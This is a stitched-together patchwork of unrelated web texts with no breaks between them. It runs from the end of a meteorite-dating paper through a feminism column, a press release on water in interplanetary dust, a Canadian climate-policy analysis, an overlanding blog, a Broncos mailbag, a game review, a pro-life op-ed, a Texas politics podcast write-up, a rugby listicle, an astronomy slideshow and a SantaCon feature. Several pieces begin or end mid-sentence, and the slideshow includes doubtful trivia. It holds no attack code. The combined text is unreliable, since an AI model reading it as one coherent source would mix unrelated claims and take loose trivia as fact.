an initial 60Fe/56Fe ratio that is up to a factor of ∼2 higher than that estimated on the basis of the previously assumed time interval of ∼1.5–2.0 Myr (ref. 25). Therefore, the older age for the Solar System reported here reinforces the likelihood of 60Fe being injected into the solar nebula by a nearby supernova and highlights its significance as a heat source for planetesimal differentiation in the early Solar System.Feminism, the pessimists say, is over, drowned in a froth of pink tulle and buried with a stiletto heel through its heart. For those who have struggled to measure its success by its victories in equal pay and boardroom jobs, progress has been dishearteningly slow. The forces of darkness never seem far away, ready to berate the feckless undermining of the patriarchy, or to mock the reluctance of women to fight their way to the top as honorary men. Feminists have had their chance and it turned out no one wanted what they were selling.
Next weekend's sellout UK Feminista summer school should make the gloating critics reconsider. There is a resurgence in feminist activism, driven partly by a new appetite for direct action, from demonstrations like the SlutWalks earlier this summer to flash protests like last month's Eff Off, Heff against the new Playboy club in London. Campaigns against the pink princess phenomenon have made shops like the Early Learning Centre think more carefully about how they sell their stuff.
Grabbing headlines is important. It inspires and makes people think. But it can only ever be a part of the strategy: it's no good entertaining the movement's extroverts if you cannot deliver a result. It's worse if it reinforces the old slur about hairy-legged man-haters that left a generation of women embarrassed to say they were feminists. Below the horizon, though, there is something else going on that is not only about women fighting on traditional women's issues. Other new-model organisations like London Citizens or NHS Direct Action are finding that the way they do things encourages women to emerge as leaders. Working in intimate groups on issues like the living wage, with horizontal rather than top-down communication, makes it easier for women to contribute.
But change is hard, and slow. It needs the kind of momentum that comes from outrage, but it also takes someone to do the hard grind, to focus on the analysis and provide the ammunition. The Fawcett Society, part of the struggle for nearly 150 years, has made the running since the budget by taking the government to court for failing to consider the impact of cuts on women. And at Westminster there is proof that slow-burn campaigns make a difference too. Labour's determination to raise the number of women MPs forced the Tories to act in the end. The result, at last, is an intake of women that, although it is still less than a fifth of the total, has established itself as independent-minded and original. Every time Stella Creasy argues for better controls on loan sharks or Louise Mensch warns David Cameron not to change the law on anonymity for alleged rapists, another small step is taken on the long road to equality.New UH Mānoa faculty make a big splash
Contact:
Jeffrey Gillis-Davis, 808-956-5738
HIGP Associate Researcher, Hawaii Institute of Geophysics and Planetology
Marcie Grabowski, 808-956-3151
Outreach Coordinator, School of Ocean and Earth Science and Technology
HIGP Associate Researcher, Hawaii Institute of Geophysics and PlanetologyOutreach Coordinator, School of Ocean and Earth Science and Technology
Posted: Jan 24, 2014
Interplanetary dust particles carry water generated with hydrogen solar wind. Credit: John Bradley. Interplanetary dust particles carry water generated with hydrogen solar wind. Credit: John Bradley.
Researchers from the University of Hawaiʻi at Mānoa's School of Ocean and Earth Science and Technology (SOEST), Lawrence Livermore National Laboratory, Lawrence Berkeley National Laboratory, and University of California – Berkeley discovered that interplanetary dust particles (IDPs) could deliver water and organics to the Earth and other terrestrial planets.
Interplanetary dust, dust that has come from comets, asteroids, and leftover debris from the birth of the solar system, continually rains down on the Earth and other Solar System bodies. These particles are bombarded by solar wind, predominately hydrogen ions. This ion bombardment knocks the atoms out of order in the silicate mineral crystal and leaves behind oxygen that is more available to react with hydrogen, for example, to create water molecules.
“It is a thrilling possibility that this influx of dust has acted as a continuous rainfall of little reaction vessels containing both the water and organics needed for the eventual origin of life on Earth and possibly Mars,” said Hope Ishii, new Associate Researcher in the Hawaiʻi Institute of Geophysics and Planetology (HIGP) at UH Mānoa's SOEST and co-author of the study. This mechanism of delivering both water and organics simultaneously would also work for exoplanets, worlds that orbit other stars. These raw ingredients of dust and hydrogen ions from their parent star would allow the process to happen in almost any planetary system.
Implications of this work are potentially huge: Airless bodies in space such as asteroids and the Moon, with ubiquitous silicate minerals, are constantly being exposed to solar wind irradiation that can generate water. In fact, this mechanism of water formation would help explain remotely sensed data of the Moon, which discovered OH and preliminary water, and possibly explains the source of water ice in permanently shadowed regions of the Moon.
“Perhaps more exciting,” said Hope Ishii, Associate Researcher in HIGP and co-author of the study, “interplanetary dust, especially dust from primitive asteroids and comets, has long been known to carry organic carbon species that survive entering the Earth’s atmosphere, and we have now demonstrated that it also carries solar-wind-generated water. So we have shown for the first time that water and organics can be delivered together.”
It has been known since the Apollo-era, when astronauts brought back rocks and soil from the Moon, that solar wind causes the chemical makeup of the dust’s surface layer to change. Hence, the idea that solar wind irradiation might produce water-species has been around since then, but whether it actually does produce water has been debated. The reasons for the uncertainty are that the amount of water produced is small and it is localized in very thin rims on the surfaces of silicate minerals so that older analytical techniques were unable to confirm the presence of water.
Using a state-of-the-art transmission electron microscope, the scientists have now actually detected water produced by solar-wind irradiation in the space-weathered rims on silicate minerals in interplanetary dust particles. Futher, on the bases of laboratory-irradiated minerals that have similar amorphous rims, they were able to conclude that the water forms from the interaction of solar wind hydrogen ions (H+) with oxygen in the silicate mineral grains.
This recent work does not suggest how much water may have been delivered to Earth in this manner from IDPs.
“In no way do we suggest that it was sufficient to form oceans, for example,” said Ishii. “However, the relevance of our work is not the origin of the Earth’s oceans but that we have shown continuous, co-delivery of water and organics intimately intermixed.”
In future work, the scientists will attempt to estimate water abundances delivered to Earth by IDPs. Further, they will explore in more detail what other organic (carbon-based) and inorganic species are present in the water in the vesicles in interplanetary dust rims.
# # #
Detection of solar wind-produced water in irradiated rims on silicate minerals, John Bradley, Hope Ishii, Jeffrey Gillis-Davis, James Ciston, Michael Nielsen, Hans Bechtel, Michael Martin. Proceedings of the National Academy of Sciences, doi: 10.1073/pnas.1320115111Canada's first commitment to reduce greenhouse gas emissions was made by Brian Mulroney in 1988, at an international conference on the "changing atmosphere" in Toronto. It was pledged then that Canada would seek a 20-per-cent reduction in its annual greenhouse gas emissions by 2005.
Two years later, that target was adjusted to merely stabilizing GHGs at 1990 levels by 2005. Still, that would have kept emissions to 613 megatonnes per year.
Instead, in 2014, the last full year for which data is available, Canada emitted a total of 732 megatonnes of greenhouse gases, a 20-per-cent increase since 2005.
If Mulroney had put Canada on a path to achieving that target of 1990, if Jean Chrétien or Paul Martin or Stephen Harper had set Canada on its way to achieving any of the targets they subsequently set, Justin Trudeau would now be heading into a merely interesting fall, the biggest issue of which would be the negotiation of new health accords with the provinces or the consideration of a new electoral system.
A pivotal fall ahead
Instead, as MPs return to within shouting distance of each other in Ottawa on Monday, this fall feels potentially pivotal, for the prime minister and for the country.
In November, he is due to meet the premiers to finalize a national plan on climate change, or at least the makings thereof. By Dec. 19, his cabinet must decide whether to approve the Trans Mountain pipeline proposal that would transfer oil from Alberta to the port of Vancouver.
Leadership does not consist of imposing unpopular ideas on the public, but of making unpopular ideas acceptable to the nation - Brian Mulroney, former prime minister
And between those two, Trudeau gets to wrestle with questions of federalism, the national economy and the future of humanity on a warming planet.
The climate change plan seems likely to include some kind of mechanism for pricing carbon. And while putting a price on carbon has become the focal point of debate about what to do about climate change, pipelines have, fairly or not, become a focus of attention for those who worry about the impact of GHGs on the planet.
The prime minister has, either explicitly or implicitly, committed to doing both.
A single pipeline might not be the difference between Canada succeeding or failing to make meaningful reductions in GHG emissions, but without a plan to make those reductions, a pipeline is easier to oppose. That, for instance, would be the easiest lesson to draw from the Keystone XL rejection by the U.S.
In the case of Trans Mountain, there would still be concerns about a spill, particularly in the waters off the coast of British Columbia, and so the Trudeau government will presumably need to address that if it has any interest in approving the pipeline.
If it was easy, someone would have done it
But if Trans Mountain can fit within the mission of Canada hitting its international targets, the Trudeau government will need to explain how.
And regardless, there will be complaint.
Grand Chief Stewart Phillip of the Union of B.C. Indian Chiefs leads a protest against expansion of the Kinder Morgan Trans Mountain pipeline on Jan. 19. (CBC)
That the federal government has failed over the last 28 years to adequately address the threat of climate change is a matter of political will, but also public will. If it were easy and wildly popular to do something, someone would have done it already.
The moment a price on carbon is set, Conservatives (perhaps with the notable exceptions of Patrick Brown and Michael Chong) will howl. But environmentalists will cry foul if the plan to deal with climate change is not sufficiently robust and also condemn any decision to approve a pipeline.
Trudeau has political capital to burn
Hanging over the pipeline question is some possibility Trudeau will have to choose between his suggestion that "communities grant permission" for pipelines and his view that getting national resources to market is a fundamental responsibility of any prime minister.
Suggestions of the honeymoon's end are now cliche: the public's regard for Trudeau has held up so far despite several moments at which the shine seemed to be in danger of coming off.
But now Trudeau is coming up to decisions that will attract louder complaints than he has so far faced. Which brings up another notion that is now verging on the cliché: that Trudeau has capital to burn and might have to set some of it alight.
Mulroney has lectured Trudeau on the need to bring all interested parties to agreement on pipelines, an idea that is complicated by the regulatory process. In a speech two years ago, the former prime minister presented an alluring definition of what constitutes real leadership.
"Leadership is the process, not only of foreseeing the need for change, but of making the case for change," he said. "Leadership does not consist of imposing unpopular ideas on the public, but of making unpopular ideas acceptable to the nation."
Former prime minister Brian Mulroney spoke about pipelines at the University of Calgary last week. (Larry MacDougal/Canadian Press)
That is arguably what Mulroney did with free trade. Real action on climate change might surpass that accomplishment, and a pipeline would add extra credit.
Trudeau has succeeded so far in winning approval and building trust, and he certainly has some room to disappoint and still remain electable.
But a greater question emerges from Mulroney's theory. Beyond merely withstanding or minimizing the damage, can Justin Trudeau use whatever faith he has attracted to bring the Canadian public along with him? Can he win the arguments and establish wide acceptance for contested ideas like pricing carbon and building pipelines?
The profound decisions that loom will no doubt burden the prime minister. But there is also an opportunity for him to demonstrate a willingness and ability to lead.“He who desires more gear, knows not what he wants from his gear”- unknown source.
Whether you call it car camping, off-road adventures or overlanding, an off-road based adventure requires stuff and as a group, we overlanders do not travel light. If you search the Interwebs, you would think that in order to start overlanding you must have a Land Rover, preferably a Defender 110 (Camel Trophy insignia optional), capable of carrying months of supplies, sand ladders, roof top tent (RTT), titanium cook sets, wind sail canvas & teak lounge chairs with matching tables and an engine manifold hot water heater with power shower head.
I have a theory and it holds true for all major activities not just overlanding… It goes like this:
Looks interesting phase – This (insert activity name here) looks like something you would enjoy. You have little to no experience but the activity seems interesting so you tag along with a friend or give it a try on a limited basis. Let me open my wallet phase – You tried it, you like it and you’re hooked. You surf YouTube videos and hang out on the forums during work taking in everything you can about this life changing activity. You imagine yourself living the dream that allows you to quit your job, take the kids out of school and spend all your days doing “this”. If the “so called experts” tell you, you need a thing-a-ma-bob, you get a thing-a-ma-bob. If you see a new whats-it’s that promises to take you to the next level you save up and order a whats-it’s. You check out whats-you-ma-call-its that others have and compare detailed specs of each new piece of gear to hit the market. You become a gear whore… and you’re proud of it. In fact you show off your gear and tell everyone how it makes life much better… and you are happy. Attaining Zen phase – If you stick with the activity long enough eventually you know what works for you. Your gear is not so shinny anymore but it performs well and meets your personal needs. You’ve pared down your gear to the minimum you feel comfortable with. You use all your equipment regularly and your favorite piece of gear is one of your oldest items. You have repaired much of your gear yourself. New guys (those wide eyed newbies entering phase 2) look at you and can’t imagine how you do without the newest most talked about piece of gear they just bought. You are old school. You are more interested in experiences than buying your way into the club… and you are at peace.
I have a friend who explores very remote locations in her Forester. That’s right, a stock Subaru with nothing more than a good set of all terrains. She sleeps in the back, keeps her creature comforts to a minimum and only brings along the essential gear. Most of her equipment comes from the backpacking world so it is light and compact. She eats granola trail mix, energy bars and PB&J sandwiches. She is comfortable with her style and she has seen more remote North West destinations than just about anyone else |
tag is a palatable option for the Broncos.
History says the Broncos won’t do this. They may have threatened it with kicker Matt Prater, left tackle Ryan Clady and receiver Demaryius Thomas in recent years. But a long-term extension was eventually worked out before any of those players had to play a season on the franchise tag.
The lesson that should have been learned from Clady and Thomas, though, is it would behoove the Broncos to work out a long-term deal with Miller by mid-April rather than the deadline of mid-July.
Clady and Thomas both held out from the team offseason conditioning work and practices in protest of their franchise tag. Although, both reached long-term agreements by their July deadline, both may have suffered from their holdouts in April, May and June.
Clady suffered a season-ending foot injury two games into his new contract in 2013.
And we all know Thomas wasn’t the same in 2015.
I had a dream that Mack and Malik were on the same team. That tandem of talent would be quite rare, I hope that Elway prevents that nightmare. That's all I got. Good day sir!!
Art Mensing
San Antonio, TX
Art—In real life, the Broncos had better than your nightmare: Malik and Von and DeMarcus and Wolfe. The Orange Rush, I think the Broncos’ pass rush was sometimes called, although the moniker hasn’t quite caught on in the way the Fearsome Foursome, the Purple Eaters, Steel Curtain and Doomsday Defense in the late-60s and 1970s.
I don’t think any defensive unit will ever have a long-lasting identity in these transient times.
But you hit on something there, Art. Whether you agree or disagree that Jackson is worth $12 million, $13 million or $15 million a year, the fact is the Broncos would not be as good a team if they lost him, and the Oakland Raiders would be much improved if they got him.
But you can’t lose sleep over it, Art. It’s the NFL.
Do you see any difference between this year's franchise tag situation with Von and year's past? Seems to me there is a lot more certainty about Von's worth in terms of salary compared to, for instance, last year when Demaryius and Dez were both waiting for the other to sign and there was a sizable gap between Calvin Johnson money and Larry Fitzgerald money.
My question is: Why do the tag with Von and play games for months rather than just aggressively offer him what we know he's worth (JJ Watt money) before free agency opens and then use the tag on Brock or Malik? My preference is for Malik, but seems like the tag would be good for Brock to give him a one-year audition. Thoughts?
Jonah Kanter
Jonah—Have you been listening to Big Al? Alfred Williams advocates getting a deal done with Miller and placing the franchise tag on Jackson.
Here’s what I explained on the Big Al and DMac Show and what I’ll explain here: Arithmetic and business 101 say it only makes sense for the team to franchise Miller.
Follow along. Miller is worth between $17 million and $20 a year. The franchise tag is considerably lower at $14 million.
Jackson is worth between $12 million and $14 million. His franchise tag would be either estimated at $15.4 million (if he’s classified as a defensive end) or $13.4 million (if he falls into defensive tackle category).
Osweiler is worth anywhere from $10 million to $15 million a year. His franchise tag salary would be a whopping $19.6 million.
If a long-term deal can’t be worked out, the Broncos wouldn’t mind getting stuck with Miller’s $14 million salary.
But it wouldn’t sit well if the Broncos had to pay a one-year salary of $19.6 million to Osweiler.
The team has far greater bargaining leverage tagging the player whose estimated value exceeds the franchise tag salary. And so Von Miller is the slam-dunk choice for the franchise tag.
Besides all that, the Broncos under no circumstances can take the risk of losing Miller. It would hurt to lose Jackson. Losing Miller may do irreparable damage to the franchise.
I have not heard anyone give the kicker any kind of credit or praise for what he has done by putting the points he put on the board and how helpful and important his contribution was to the team in the games that we won. All the credit is going to our defense which Brock Osweiler should also get credit but in a lot of these games, if it wasn't for our kicker we would not have won. Thank you, Brandon McManus
Paul Montoya
Paul—We generally don’t pay attention to kickers unless they miss. I didn’t think any kicker was more underappreciated this season than New England’s Stephen Gostkowski.
And then he missed. Missed in the AFC Championship to end his nine-year extra point streak of 523.
McManus was huge for the Broncos early in the season. You can say he “won” four of the first six – Baltimore, Minnesota, Oakland and Cleveland. He was a little shaky in the final third of the season, but I was impressed with how he pulled it back together and was so clutch in the postseason.
You can say he “won” all three postseason games.
We gave him all kinds of credit for going 5 of 5 in field goals despite a strong crosswind against Pittsburgh.
We made a point of crediting McManus in the Broncos defeat of New England – while Gostkowski missed what turned out to be a huge extra point -- in the AFC Championship Game.
And McManus was perfect in Super Bowl 50, going 3 of 3 on field goals while his counterpart Graham Gano missed a 44-yard field goal that had a major impact on momentum.
So there you go, Paul.
Why do you think Elway hasn't won executive of the year, yet? His track record since taking over the Broncos speaks for itself. Even Jerry Jones won it a couple years ago and I consider him one of the worst GM's in the league.
Charles Burnett
Charles—The Sports News issues the award based on a poll of league executives. There may be some envy in Elway not getting the award. He really didn’t work his way up to the top of football operations ladder. He started there.
And dominated.
Peyton Manning might be another reason. The feeling there is anyone can win with Manning as your quarterback.
Elway did nearly win the award in 2013 but he lost by one vote to Indianapolis’ Ryan Grigson, otherwise known as the #Deflategate snitch.
It’s a silly award, really, because the Executive of the Year every single year should be the GM of the team that won the Super Bowl. Only then is there justification that a roster was built strong enough to overcome weaknesses.
I’ve mentioned this before: What Elway did in transforming the Broncos from a wide-open offensive team that reached the Super Bowl in 2013 to a defensive dominated team that won the Super Bowl in 2015 is unprecedented.
This year’s award won’t be announced until the owners meetings March 20-23 in Boca Raton, Fla. The Pro Football Writers Association gave its top executive award to Mike Maccagnon this year.
My guess is Elway will let Maccagnon keep it and take his Super Bowl ring instead.
Copyright 2016 KUSAEarly Access reviews offer our preliminary verdicts on in-development games. We may follow up this unscored review with a final, scored review in the future.
Welcome to the Unterzee, a vast underground body of water that was once the city of London. Plunged into eternal darkness, this colossal, shadowy sea is dotted with islands, filled with secrets, and swimming with unimaginable horrors—and as a ship captain, it's your job to explore it.
Sunless Sea is an intriguing seafaring roguelike with an emphasis on storytelling, and one of the most atmospheric games I've played in a while. As you sail the Unterzee, your lights cutting through the gloom, you'll discover ports that can be docked at, revealing stories. These are told entirely through text and are beautifully written and wonderfully evocative.
How you advance or resolve these stories depends on your choices. Depending on what you say and how you act, there will be different outcomes. This all ties into your stats. Sunless Sea isn't just about storytelling; there's resource management too. Stray too far into dangerous waters and your fear will increase. If it gets too high, your crew will panic and mutiny. Fail to keep your ship's hold stocked with supplies and they'll go hungry. Run out of fuel and you'll be stranded.
But by completing stories you can unlock supplies, lower your terror, earn money, and eventually upgrade your ship. Some story choices are dice rolls, and your base stats—variations on strength, luck, and other RPG staples—will determine whether a risky choice will be successful or not. Fail a 'roll' and you'll lose supplies or gain fear; win and you'll achieve the opposite.
Described like this, the game sounds like a sea of stats, but it's all cleverly hidden by the stories and their rich, vivid writing. When you get used to the game's systems, the management elements take a back seat to the exploration. It's all about knowing how far you can push into the darkest corners of the Unterzee with the fuel and supplies you have. You'll find yourself getting stranded a lot when you first start, but it won't take long for you to become a salty veteran of its black waves.
The ship is controlled in real-time, but most of the game takes place in your journal. It's here that you read and interact with stories, view your supplies, and track your progress. As you move around the map, which is clouded by a fog of war that clears as you move through it, you'll run into enemies. The combat is slow and turn-based, and I could happily play the game without it. Having to worry about running into giant crabs, colonies of bats, and monstrous eels can get in the way of the story.
In the current build the map isn't randomised, meaning you'll be coming across the same islands in the same order as most other players, but it's still a joy to explore. You never know what bizarre location or characters you're going to encounter next, and new stories are being added every week.
There are better roguelikes, and the management aspect of Sunless Sea needs a lot of work and balancing, but it's the storytelling that makes it stand out. The use of lighting, music, and sound—and that excellent writing—give the Unterzee a palpable atmosphere as you drift through it. Lovecraft-inspired worlds aren't exactly rare on PC, but Failbetter have done a wonderful job of fleshing theirs out and giving it its own distinct personality.
Verdict
Evocative writing and compelling exploration make this nautical roguelike well worth playing, but the ponderous combat can be a drag.
Outlook
Very good. The addition of a randomly generated map will make the Unterzee even more thrilling and unpredictable to explore.
Details
Version reviewed: V0.5.0.1375
Reviewed on: i5-3570K 3.40GHz, 16GB RAM, HD 7890
Recommended: 2GHz CPU, 1GB RAM, 512MB GPU
Price: £14 / $17
Publisher: Failbetter Games
Developer: Failbetter Games
Multiplayer: None
Link: SteamMartin Luther King, Jr.’s dream wasn’t only for those watching him on the steps of the Lincoln Memorial 50 years ago today -- he was speaking for unborn children as well, according to his niece Dr. Alveda King. As the world recognizes King’s momentous “I Have a Dream” speech, we should also celebrate King’s dedication to the sanctity of life. Alveda King explained to Fox News last January why she believes her uncle would be a pro-life social conservative.
“It’s not so much about labels — liberal, conservative and all of that. But he was someone who lived and gave his life to help all humanity. And so that definitely would include conception until natural death. And he would want everyone to be able to live — to have food — to have somewhere to sleep and to have a job. You know, all of those things are very important. But, he would really support the best quality of life and that is conception to natural death.”
Alveda King then asked an important question:
“How can the dream survive if we murder our children?”
Some pro-choice advocates like to point out MLK, Jr. supported Planned Parenthood and that the abortion-providing organization awarded him the Planned Parenthood Margaret Sanger award in 1966. But, as his niece points out, this was at a time when Planned Parenthood was still anti-abortion. She explains on PriestsforLife.org,
Dr. King, a man of love, peace, non-violence and strong Christian faith would be assassinated before the truth of the Planned Parenthood map for genocide would be made public after the passage of Roe vs Wade. The abortion agenda is in direct conflict with the teachings of Dr. King.
Indeed, this claim is supported by quotes from the reverend such as this:Every four years, on election night, we see America’s political divide reduced to a binary map: an outer ring of Democratic states, as cerulean as the “I’m with her” arrow, encircling a sea of crimson. California, New York, Rhode Island, and Maryland are suffused with Solyndra-loving liberals who want nationalized health care for their government-subsidized Teslas. Idaho, Kansas, Oklahoma, and Texas are painted red with gun-lovin’, anti-abortion, build-a-wall, red-blooded Americans.
The standard electoral map, of course, disguises vast differences of opinion. And in 2018, and even potentially 2020, there’s a good chance that the most unlikely of those nominally red states—Texas—could turn blue. The battleground in 2018 that could flip the state is in Texas’s 23rd congressional district, an immense plot of the country that stretches 800 miles along most of Texas‘s border with Mexico, as they say down South, “just north of the Rio Grande.” As you’d expect, the seat is currently occupied by a staunchly Trump-supporting Republican, Will Hurd. But that might not be for long. On this week’s Inside the Hive podcast, Jay Hulings, a former Texan federal prosecutor, who has worked public corruption, organized crime and immigration cases, and is now running as a Democrat for Hurd’s seat, explained why the 23rd District (and even Texas itself) is increasingly becoming more Democratic, and why Trump’s actions actually go against what a growing majority of people in Texas want for their state, and the country.
“There’s a lot more Democrats [in Texas] than people realize,” Hulings told me, and then pointed to the 2016 election results as a case-in-point. “Hillary lost Texas by 9 points without putting any effort or money in; she lost Ohio by 10; she lost Iowa by 11. Texas, with no effort was closer than those battleground states.” He noted that the cities in Texas—San Antonio, Dallas, Fort Worth—are all pretty Democratic, even if the typical Democrat in Texas is more culturally conservative, in some ways, than your traditional California resident. Many of them, in fact, are much like Hulings: protective of the Second Amendment, in support of health care, embarrassed by Donald Trump, and somewhere in the middle on immigration. What about that wall? “I think the wall is a terrible idea, and most people in Texas think it is a terrible idea,” Hulings said. “The border in Texas is a river. It’s the Rio Grande; so what, are you going to put the wall in the middle of the river? It’s the sort of thing that people who aren’t from the border, who haven’t spent time there, think is a good idea.”
So how does Hulings plan to win? He notes that when you look at the numbers from past elections, he has a pretty good chance of getting people to the polls in his favor. In 2016, for example, the 23rd district was considered a battleground quadrant of the country, and Republican Hurd only won by 1.3 percent. You would think that after winning by such a small margin, Hurd would try to be less partisan, but his voting record is anything but. Since Trump became president, Hurd has voted in line with him a staggering 96.1 percent of the time. That voting record, coupled with Trump’s embarrassing Twitter account, his approach to health care, and a state that is drifting away from an increasingly hard-line Republican Party, might be the perfect recipe to turn Texas from red to blue—or at the very least, a nice shade of purple.
iTunes user? Just tap here to listen to Inside the Hive at your convenience. And don’t forget to subscribe.9 Reasons Nick Cummins is Currently the Best Thing About Rugby
Over the last year or two Nick Cummins aka The Honey Badger has become one of the most talked about rugby players on the planet. Below we take a look at 9 of the reasons we think Nick Cummins is currently the greatest thing about rugby right now…
[adsenseyu1]
1 – Interviews like this…
2 – ….and this…
3 – …in fact just any of these quotes
[adsenseyu4]
4 – He’s got some pretty mad juggling skills
5 – He’s great with the fans
6 – Nick Cummins doesn’t give a s**t
7 – He can’t half play a bit
[adsenseyu1]
8 – He looks damn good in a tache…
9 – …and ‘aint afraid of a bit of meat!
What’s your favourite Nick Cummins moment?
[adsenseyu4]
Comments1 of 31
2 of 31 You can see another galaxy with the naked eye: the Andromeda Galaxy, which is 2.2 million light years away.
3 of 31 There's a 30,000 kilometer hexagonal cloud at Saturn’s north pole.
4 of 31 The core of a star reaches 16 million degrees Celsius. A grain of sand this hot would kill someone from 150 kilometers away.
5 of 31 The sun accounts for 99.86% of the mass of our entire solar system.
6 of 31 The 40,000 kilometer wide Great Red Spot on Jupiter is a persistent storm estimated to be between 200 and 300 years old. To put this in perspective, Earth could fit inside the Great Red Spot 3 times over.
7 of 31 The moon is the only other world humans have ever set foot on. Because the moon has no atmosphere or wind, the footprints planted on it's dusty surface in 1969 by the Apollo astronauts are still there today, perfectly preserved.
8 of 31 Mars is home to Olympus Mons, the largest volcano in our solar system. At 21 kilometers high and 60 kilometers wide, Olympus Mons is roughly the same size as Ireland.
9 of 31 Only three people have ever died outside of the bounds of Earth's atmosphere.
10 of 31 Jupiter is two and a half times bigger than all the other solar system planets combined.
11 of 31 It takes the average photon 170,000 years to travel from the Sun’s core to the surface.
12 of 31 It takes that same photon only 8 minutes to travel from the Sun’s surface to Earth.
13 of 31 In the last 20 years, we’ve discovered more than a thousand planets outside our solar system.
14 of 31 Contrary to popular belief, the Earth has more than one moon. Cruithne (“the Earth’s second moon”) is one of six "quasi-satellite" asteroids that rotate in a near identical orbit to the Earth.
15 of 31 Mercury, Venus, Mars, Jupiter, Saturn, Uranus, and Neptune could all fit in the space between Earth and the Moon.
16 of 31 More than 1,300 Earths could fit inside of Jupiter, the largest planet in our solar system.
17 of 31 More solar energy reaches Earth’s surface in an hour and a half than we used in all of 2001.
18 of 31 Astronomer Frank Drake proposed the Drake Equation to estimate how many civilizations could exist in our galaxy. The figure is in the millions!
19 of 31 Astronauts left a mirror on the Moon’s surface during the Moon landing. Scientists used this mirror to reflect a laser beam which measured the distance between the Moon and the Earth with amazing accuracy.
20 of 31 Scientists recently discovered a star that had been lost in the glare of a supernova for 21 years.
21 of 31 The Sun is more than 300,000 times bigger than the Earth.
22 of 31 The Sun’s surface temperature is around 5,500 degrees Celsius (9,941 degrees Fahrenheit).
23 of 31 An object the size of Mars crashed into Earth 4.5 billion years ago.
24 of 31 The Moon is very hot during the day but very cold at night: the average surface temperature of the Moon is 107 degrees Celsius during the day and -153 degrees Celsius at night.
25 of 31 The Sun travels around the galaxy--a journey of 100,000 light years--once every 200 million years.
26 of 31 A tablespoon of neutron star would weigh about ten billion tons.
27 of 31 If you fell into a black hole, you would get stretched out like spaghetti.
28 of 31 Venus is the hottest planet in our solar system with an average surface temperature of over 450 degrees Celsius.
29 of 31 The Sun weighs 2,000 trillion trillion tons – about 300,000 times as much as the Earth – even though it is made almost entirely of hydrogen and helium, the lightest gases in the universe.
30 of 31 Winds reaching up to 1,100 kilometers per hour--ten times stronger than the fastest recorded on Earth--swirl around Saturn’s equator.Photo by Paul Quitoriano
For John Law, December 19, 1998, was the night that saved Christmas.
The young San Franciscan strapped on a fake white beard, donned a $12 red suit, and led 200 Santas as they went caroling up Fifth Avenue in Manhattan. During their joyful march uptown, throngs of bustling New Yorkers and tourists paused to gawk at the sea of red felt and velour. A police officer yelled, “Hey, Santa! Can you get me a date with Cindy Crawford?” A starry-eyed couple asked Law to pose for a photo with their baby.
The posse of Santas passed the Christmas tree at Rockefeller Center and squeezed their way into the Plaza Hotel lobby before security guards approached and shooed them on their way. Then they wandered into Central Park, where they scaled some of the exposed bedrock formations that pock the grounds before ascending a hill and arriving at a frozen-over pond. Hundreds of ice skaters stared back at them.
“Merry Christmas!” the marauding Santas yelled in unison. The skaters burst into cheers.
“I almost started crying,” Law recalls of that moment 16 years ago. “I stopped hating Christmas then.”
Law had despised the holiday ever since age nine, when he was confronted with the devastating truth that ol’ St. Nick was but a myth.
“That was the beginning of my existential life,” says Law, now 56. “I thought Christmas was baloney and everything we’re told is a lie. All the companies are just trying to sell you stuff.”
But on that cold evening in the park, Law felt the “power of the Christmas symbol.”
“People just want to feel warm and fuzzy,” he says. “They want to join together.”
That was New York City’s introduction to SantaCon — a performance-art experiment that Law and some friends had devised four years earlier in San Francisco. It was originally intended “to make whimsical fun of the holiday,” Law says. He imagined it as a surrealist satire of the commercialization of Christmas. In 1994, its first year, 34 participants in Santa suits had marched through the streets of the Golden Gate City, crashing elite parties and looking for ways to, as Law describes it, “shock people and put them into a different reality.”
SantaCon was never supposed to be a recurring event. But there it was a year later, this time with 100 San Francisco revelers dressed in the fuzzy red suits. And it’s done nothing but continue to grow. And grow. Cities across the country and all over the world have held SantaCon events, with New York City’s being the biggest by far — an estimated 30,000 Santas participated last year.
Over the years, Law’s tiny, spontaneous movement has evolved into something he never anticipated — and not just in terms of proliferation. Somewhere along the line, SantaCon turned into a day-long spectacle of public inebriation somewhere between a low-rent Mardi Gras and a drunken fraternity party.
See Also: SantaCon Hires Civil Rights Lawyer to Pursue Official ‘Parade’ Status for 2015
In the early 2000s, sporadic groups of Santas began popping into bars and diners as they made their way through the streets of New York. But in the last decade, critics say, SantaCon has become a massive hedonistic crawl. Now thousands of sloshed Kris Kringles, elves, and snowmen gather at a single meeting place at 10 a.m. on a designated day in December and stagger from bar to bar, covering the streets and sidewalks with vomit and garbage while antagonizing passersby, brawling with one another, and creating both traffic and pedestrian congestion. In 2013 the NYPD deployed extra police officers to the event’s adopted home and staging ground in the East Village. And this year community leaders, residents, and business owners in Bushwick banded together to block SantaCon altogether when organizers announced plans to move the event across the East River.
As for the man who started it all, stories of SantaCon’s growing infamy leave him wistful for its humble beginnings. “We had no intent to make it a giant event,” Law says of the shocking evolution of his once unassuming creation. “Now most people who started it don’t want to be blamed for it.”
Courtesy BoycottSantacon.com
Mike Ireland knows SantaCon. And when he learned the annual holiday bar crawl was eyeing Bushwick, he wanted no part of it. As a longtime bartender in the East Village, Ireland is a veteran of many SantaCons past. He says that over the years he’s watched drunken, raging Santas urinate on walls, sexually harass women, break into fights, and annoy pretty much everyone in their path.
“I was terrified and angry,” Ireland says of his reaction to learning in November that SantaCon organizers had more or less been chased out of the East Village and were interested in taking the party to Bushwick. He’s seated on a bench inside Three Diamond Door, the cavernous Bushwick bar he now owns. “SantaCon is like the worst Saturday night times 30,000. You have thousands of people dumped onto the neighborhood — they come in, wreck it, and leave…It’s comparable to a bad frat party.”
See also: The Debaucherous Santas of SantaCon 2013
He decided to enlist the help of other nearby bar owners to try and block the event’s entry into their community. He sent a text message warning them that SantaCon would be trouble for the neighborhood — and instantly, he says, they all agreed to boycott the event, vowing to refuse any patrons dressed as Santa on December 13, this year’s SantaCon D-Day. They then took their pledge to Brooklyn’s Community Board 4, which serves Bushwick.
They didn’t know it at the time, but Ireland and his band of bar owners had unofficially initiated a massive anti-SantaCon movement that would eventually force organizers back to the drawing board to find their new home. A petition was circulated, bar owners made banners that read “No Santas,” and even City Councilmember Rafael Espinal got involved, throwing his full support behind keeping the besotted holiday festival out of the neighborhood.
One group launched a “Boycott SantaCon” website, Twitter page, and email campaign, entreating bar owners to “prohibit from your bar anyone dressed as Santa Claus, Mrs. Claus, sexy Claus, elves, sexy elves, reindeer, sexy reindeer, snowmen, sexy snowmen, candy canes, sexy candy canes, Krampus, sexy Krampus, or any other holiday-themed costume or sexy variant of that costume.
“Just say no to this monstrosity,” the email concluded. “Bushwick does not need a pool of talking sewage slithering through our streets.”
